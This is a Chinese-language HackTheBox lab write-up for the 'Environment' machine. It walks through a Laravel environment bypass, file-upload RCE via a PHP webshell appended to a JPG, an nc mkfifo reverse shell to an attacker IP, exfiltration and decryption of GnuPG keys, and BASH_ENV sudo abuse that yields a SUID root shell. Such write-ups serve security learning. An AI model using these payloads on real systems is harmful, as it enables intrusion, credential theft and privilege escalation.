最近所幸得点小闲,补个档嘞!~
nmap扫描
nmap -F -A 10.10.11.67
dirsearch扫描发现login接口
http://environment.htb/login
构造如下payload,让程序报错,其原理在于缺失了rember后会导致报错,从而告诉我们一个新的参数keep_loggedin,然后我们又构造keep_loggedin参数让函数报错。
Laravel framework 修改环境变量漏洞
从里面我们可知如果环境变量修改为preprod则可以成功访问到manager/dashboard页面。结合这篇文章https://github.com/Nyamort/CVE-2024-52301,我们使用登录接口后,抓包构造如下请求包边可以进入页面manager/dashboard
在页面我们发现了upload接口
Laravel Framwork filemanager 任意文件上传且解析漏洞
从上面的报错我们还了解到,该应用采用了unisharp.lfm.upload的上传接口,我们在Google查询后发现其存在RCE漏洞https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca
构造恶意图片
###evil.php
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>cat normal.jpg evil.php > evil2.php
上传webshell
webshell构建交互式shell,payload如下
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.20 9001 >/tmp/f
GnuPG解密
翻找文件,发现/home/hish/.gnupg,/home/hish/backup/keyvault.key文件都可以访问。将文件全部复制到攻击机,准备破解gnupg加密文件keyvault.key
tar -czvf /tmp/archive.tar.gz .gnupg/ backup/
在攻击机我们解压文件,然后将解压出来的.gnupg放在~/目录下,并确认是否导入成功
cp -a ./.gnupg ~/
gpg -K
可以看出已经成功导入,接下来我们需要解密文件
gpg -d backup/keyvault.gpg
获取密码后,使用hish账号进入ssh
sudo -l 中 ENV BASH_ENV 滥用提权 & sh脚本构建SUID文件提权
查看sudo -l 发现,存在ENV BASH_ENV 变量会被sudo保留,BASH_ENV后面填入的路劲是使用bash的时候都会执行的脚本路径。
如果环境环境变量如下
BASH_ENV=/path/to/script.sh
每当有人执行bash -c或bash解析的命令的时候,就会执行/path/to/script.sh。我们借助这个特点,构造了/tmp/pwn.sh。
#/bin/bashcp -a /bin/bash /tmp/bash
chmod 777 /tmp/bash
chmod +s /tmp/bash
我们将/tmp/pwn.sh设定为BASH_ENV
export BASH_ENV=/tmp/pwn.sh
执行sudo命令
sudo systeminfo
查看/tmp目录
ls -al /tmp
此时我们已经创建了一个 SUID的bash文件了,且有权限访问。下面开始exploit
/tmp/bash -p